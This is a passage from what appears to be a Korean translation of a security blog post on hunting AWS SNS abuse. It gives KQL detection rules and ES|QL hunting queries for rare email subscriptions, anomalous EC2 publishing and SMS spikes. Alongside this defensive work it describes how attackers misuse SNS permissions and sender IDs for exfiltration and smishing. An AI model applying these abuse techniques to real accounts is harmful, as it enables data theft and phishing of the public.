• EC2 인스턴스에 대해 가정된 역할의 자격 증명이 SNS 토픽을 무작위로 생성하는 것은 이미 이례적인 일입니다.
• 사용자 ID 액세스 키(aws.cloudtrail.user_identity.access_key_id)가 있는 경우 가 CloudTrail 감사 로그에 존재한다면 이 요청은 CLI를 통해 또는 프로그래밍 방식으로 수행된 것입니다. 이러한 키는 유출되었을 수 있으므로 추가 조사가 필요합니다.
• 공격자는 이 특정 토픽에 호출되는 게시 API 작업을 피벗하여 메시지를 게시하는 AWS 리소스를 식별할 수 있습니다. 주제에 액세스하면 공격자는 구독자 목록을 추가로 조사하여 승인되지 않은 구독자를 식별할 수 있습니다.

희귀 사용자별 이메일로 SNS 토픽 구독하기

탐지 규칙 소스
헌팅 쿼리 소스
MITRE ATT&CK: T1567, T1530

희귀한 AWS 사용자 ID ARN(IAM 사용자 또는 역할)이 SNS 토픽을 구독하는 경우를 식별합니다. 이 탐지는 Elastic의 새로운 용어 유형 규칙을 활용하여 사용자 ID ARN이 기존 SNS 토픽에 구독을 시도하는 첫 번째 발생 시점을 식별합니다. 위의 화이트박스 테스트 예제에서 발생한 데이터 유출은 이 위협 헌트에 의해 포착되었을 것이며, 외부 사용자에 대한 SNS 구독을 설정하면 경보가 생성되었을 것입니다.

내부 전용 주제인 경우 요청된 이메일 주소에 예상되는 조직 TLD를 화이트리스트에 추가하여 오탐을 줄일 수 있습니다.

이 쿼리는 KQL 및 새 용어 규칙 유형을 활용하여 이메일 주소를 지정하는 구독에 초점을 맞춥니다. 안타깝게도 CloudTrail은 가입한 이메일 주소를 삭제하거나 조사에 필수적인 정보를 삭제합니다.

event.dataset: "aws.cloudtrail"
    and event.provider: "sns.amazonaws.com"
    and event.action: "Subscribe"
    and aws.cloudtrail.request_parameters: *protocol=email*

새 용어 값: aws.cloudtrail.user_identity.arn

헌팅 쿼리(ES|QL)

헌팅 쿼리는 ES|QL을 활용하지만 구독 API 작업 매개변수를 구문 분석하여 지정되는 이메일 프로토콜에 대한 추가 필터링을 수행합니다. 또한 사용자 에이전트의 이름을 구문 분석하지만 다른 비정상적인 사용자 에이전트 속성을 잠재적으로 식별하기 위해 집계에 더 의존합니다. 또한 조직의 특정 비즈니스 상황에 따라 특정 지역에서 다른 지역으로 구독하는 것이 일반적이지 않을 수 있으므로 구독이 발생한 지역도 포함했습니다.

from logs-aws.cloudtrail-*
| where @timestamp > now() - 7 day
| WHERE
    event.dataset == "aws.cloudtrail" AND
    event.provider == "sns.amazonaws.com" AND
    event.action == "Subscribe"
| DISSECT aws.cloudtrail.request_parameters "%{?protocol_key}=%{protocol}, %{?endpoint_key}=%{redacted}, %{?return_arn}=%{return_bool}, %{?topic_arn_key}=%{topic_arn}}"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| WHERE protocol == "email"
| STATS regional_topic_subscription_count = COUNT(*) by aws.cloudtrail.user_identity.arn, cloud.region, source.address, user_agent_name
| WHERE regional_topic_subscription_count == 1
| SORT regional_topic_subscription_count ASC

사냥 노트:

• 사용자 ID 액세스 키(aws.cloudtrail.user_identity.access_key_id)가 있는 경우 가 CloudTrail 감사 로그에 존재한다면 이 요청은 CLI를 통해 또는 프로그래밍 방식으로 수행된 것입니다. 이러한 키는 유출되었을 수 있으므로 추가 조사가 필요합니다.
• 집계 중 토픽 ARN을 무시하는 것은 이메일로 SNS 토픽을 구독할 때 처음 발생하는 이상 징후를 파악하는 데 중요합니다. 주제 ARN별로 구독을 그룹화하지 않음으로써 쿼리가 이미 설정된 특정 주제와 관계없이 예상치 못한 구독이나 자주 발생하지 않는 구독만 감지하는 데 초점을 맞출 수 있습니다.
• 구독한 토픽을 식별하기 위해 포함 필터로 사용자 ID ARN을 사용하여 또 다른 쿼리가 필요할 수 있습니다.
• 비정상적인 사용자-상담원 이름이 관찰되면 사용자-상담원 문자열에 대한 2차 조사를 통해 자동화된 스크립트, 일반적이지 않은 브라우저 또는 일치하지 않는 플랫폼과 연관되어 있는지 확인해야 할 수 있습니다. 이를 위조하는 것은 간단하지만, 공격자들은 공개되지 않은 이유로 위조하지 않는 것으로 알려져 있습니다.

희귀 사용자가 게시한 SNS 토픽 메시지

탐지 규칙 소스
헌팅 쿼리 소스

AWS의 비정상적인 사용자 ID ARN에서 SNS 토픽에 메시지가 게시된 시점을 식별합니다. 역할 또는 권한 정책에서 PoLP를 적용하지 않는 경우 SNS 토픽에 게시가 허용되어 악용될 수 있습니다. 예를 들어, AWS 마켓플레이스를 통해 제공되는 기본 역할은 SNS 주제에 게시할 수 있도록 허용합니다. 또한 인증정보가 유출된 경우 한때 SNS 토픽에 푸시했지만 더 이상 악용되지 않는 악성 개체를 식별할 수도 있습니다. 이는 EC2 인스턴스에만 초점을 맞춘 것이지만 소스, 지역, 사용자 에이전트 등에 따라 다양한 게시 이상 현상을 고려하도록 조정할 수 있습니다.

이 쿼리는 KQL 및 새 용어 규칙 유형을 활용하여 이메일 주소를 지정하는 구독에 초점을 맞춥니다. 안타깝게도 CloudTrail은 가입한 이메일 주소를 삭제하는데, 이는 조사를 위한 중요한 자산이 될 수 있기 때문입니다.

event.dataset: "aws.cloudtrail"
    and event.provider: "sns.amazonaws.com"
    and event.action: "Publish"
    and aws.cloudtrail.user_identity.type: "AssumedRole"
    and aws.cloudtrail.user_identity.arn: *i-*

새 용어 값: aws.cloudtrail.user_identity.arn

헌팅 쿼리(ES|QL)

헌팅 쿼리는 ES|QL을 활용하며 API 동작이 게시인 SNS 로그에 초점을 맞춥니다. 이는 사용자 ID 유형이 가정된 역할이고 사용자 ID ARN이 EC2 인스턴스 ID인 경우에만 트리거됩니다. 계정 ID, 법인, 맡은 역할, SNS 주제 및 지역을 기준으로 집계하면 이러한 활동의 예상치를 바탕으로 추가적인 이상 징후를 파악하는 데 도움이 됩니다. 사용자 에이전트를 활용하여 비정상적인 도구나 소프트웨어에서 이러한 호출을 식별할 수도 있습니다.

from logs-aws.cloudtrail-*
| where @timestamp > now() - 7 day
| WHERE
    event.dataset == "aws.cloudtrail" AND
    event.provider == "sns.amazonaws.com" AND
    event.action == "Publish"
    and aws.cloudtrail.user_identity.type == "AssumedRole"
| DISSECT aws.cloudtrail.request_parameters "{%{?message_key}=%{message}, %{?topic_key}=%{topic_arn}}"
| DISSECT aws.cloudtrail.user_identity.arn "%{?}:assumed-role/%{assumed_role_name}/%{entity}"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| WHERE STARTS_WITH(entity, "i-")
| STATS regional_topic_publish_count = COUNT(*) by cloud.account.id, entity, assumed_role_name, topic_arn, cloud.region, user_agent_name
| SORT regional_topic_publish_count ASC

사냥 노트:

• 사용자 ID 액세스 키(aws.cloudtrail.user_identity.access_key_id)가 있는 경우 가 CloudTrail 감사 로그에 존재한다면 이 요청은 CLI를 통해 또는 프로그래밍 방식으로 수행된 것입니다. 이러한 키는 유출되었을 수 있으므로 추가 조사가 필요합니다.
• 테라폼, 풀루미 등이 표시되는 경우 테스트 환경, 유지 관리 등과 관련이 있을 수 있습니다.
• AWS가 아닌 Python SDK는 사용자 지정 도구 또는 스크립트가 활용되고 있음을 나타낼 수 있습니다.

SNS 다이렉트-투-폰 메시지 급증

헌팅 쿼리 소스
MITRE ATT&CK: T1660

공격자가 피싱(스미싱) 캠페인을 수행하는 것으로 추정되는 SNS 침해에 대한 추적 노력은 AWS SNS의 게시 API 작업에 중점을 두고 있습니다. 특히 요청 매개변수에 전화 번호가 있는 경우를 추적하여 SNS 토픽을 통하지 않고 전화 번호로 직접 메시지가 전송되고 있음을 알립니다.

특히, 공격자는 미리 구독한 번호가 있는 SNS 토픽에 의존하는 대신 조직의 프로덕션 엔드포인트 메시징 권한을 악용하여 이를 활용합니다:

• 승인된 발신 ID(조직이 등록한 경우).
• 발신자 ID(공격자가 발신자 ID를 제어하거나 신뢰할 수 있는 식별자를 스푸핑할 수 있는 경우).
• AWS 긴 코드 또는 짧은 코드(동적으로 할당될 수 있음).

AWS SNS는 로그를 위생 처리하기 때문에 전화번호는 CloudTrail에 표시되지 않지만, CloudWatch 또는 타사 모니터링 도구에서 심층 분석하면 도움이 될 수 있습니다.

헌팅 쿼리(ES|QL)

이 쿼리는 손상된 AWS 계정으로부터의 스미싱 캠페인을 나타낼 수 있는 SNS 직접 메시지의 급증을 감지합니다.

from logs-aws.cloudtrail-*
| WHERE @timestamp > now() - 7 day
| EVAL target_time_window = DATE_TRUNC(10 seconds, @timestamp)
| WHERE
    event.dataset == "aws.cloudtrail" AND
    event.provider == "sns.amazonaws.com" AND
    event.action == "Publish" AND
    event.outcome == "success" AND
    aws.cloudtrail.request_parameters LIKE "*phoneNumber*"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| STATS sms_message_count = COUNT(*) by target_time_window, cloud.account.id, aws.cloudtrail.user_identity.arn, cloud.region, source.address, user_agent_name
| WHERE sms_message_count > 30

사냥 노트:

• AWS는 로그에서 전화번호를 제거하므로 CloudWatch 로그를 통한 심층 분석이 필요할 수 있습니다.
• CloudWatch에서 조사하는 동안 메시지 컨텍스트도 살균 처리됩니다. 문자 메시지에 의심스러운 URL 링크가 포함되어 있는지 조사하는 것이 가장 이상적입니다.
• 메시지 메타데이터에 대한 AWS SNS 전송 로그(사용 설정된 경우)를 검토할 수도 있습니다.
• 메시지가 주제 기반 구독을 사용하지 않는 경우 직접 타겟팅을 제안합니다.
• 이러한 요청의 출처가 중요한데, EC2 인스턴스에서 이러한 요청이 발생한다면 이는 다소 이상하거나 람다가 서버리스 코드일 수 있습니다.

테이크아웃

시간을 내어 AWS SNS 어뷰징에 관한 이 게시물을 읽어주셔서 감사합니다: 데이터 유출과 피싱. 이번 연구가 공격자들이 데이터 유출, 스미싱, 피싱 캠페인에 AWS SNS를 활용하는 방법과 이러한 위협에 대응하기 위한 실질적인 탐지 및 헌팅 전략에 대한 귀중한 인사이트를 제공하기를 바랍니다.

핵심 사항:

• AWS SNS는 강력한 서비스이지만 피싱(스미싱) 및 데이터 유출 등 악의적인 목적으로 악용될 수 있습니다.
• 공격자는 사전 승인된 발신자 ID, 발신자 ID 또는 장/단문 코드를 사용하여 조직 외부로 메시지를 보내기 위해 프로덕션 SNS 권한을 악용할 수 있습니다.
• 위협 행위자는 IAM 정책의 잘못된 구성, CloudTrail 로깅 공백, SNS API 제한을 무기화하여 레이더망을 피할 수 있습니다.
• SNS를 악용한 범죄는 자주 보고되지는 않지만, 이미 무기화되어 표적화된 악용 사례가 발생하고 있거나 언젠가는 나타날 것으로 확신합니다.
• AWS CloudTrail은 SNS 로그에서 전화번호나 메시지를 캡처하지 않으므로 심층 분석을 위해서는 CloudWatch 써드파티 모니터링이 필수적입니다.
• 위협 헌팅 쿼리는 SNS 토픽이 생성, 구독 또는 쪽지 수신이 급증하는 것을 감지하여 잠재적인 악용을 알리는 데 도움이 될 수 있습니다.
• 탐지 전략에는 SNS API 작업 모니터링, 비정상적인 SNS 메시지 급증 식별, EC2 또는 Lambda 소스에서 이상 징후 플래그 지정 등이 포함됩니다.
• 방어 조치에는 공격 표면을 줄이기 위해 AWS에서 권장하는 IAM 정책 강화, CloudTrail & SNS 로깅, 이상 징후 기반 탐지 및 보안 모범 사례 등이 포함되어야 합니다.

AWS SNS는 보안 논의에서 간과되는 경우가 많지만, 이 연구에서 알 수 있듯이 모니터링하지 않으면 공격자에게 실행 가능한 공격 벡터가 될 수 있습니다. 방어자는 이러한 위험을 완화하고 보안 태세를 강화하기 위해 선제적으로 대응하고, 탐지 로직을 개선하며, 강력한 보안 제어를 구현할 것을 권장합니다.

읽어 주셔서 감사드리며 즐거운 사냥 되세요!

참고 자료

• https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/
• https://permiso.io/blog/s/smishing-attack-on-aws-sms-new-phone-who-dis/
• https://catalog.workshops.aws/build-sms-program/en-US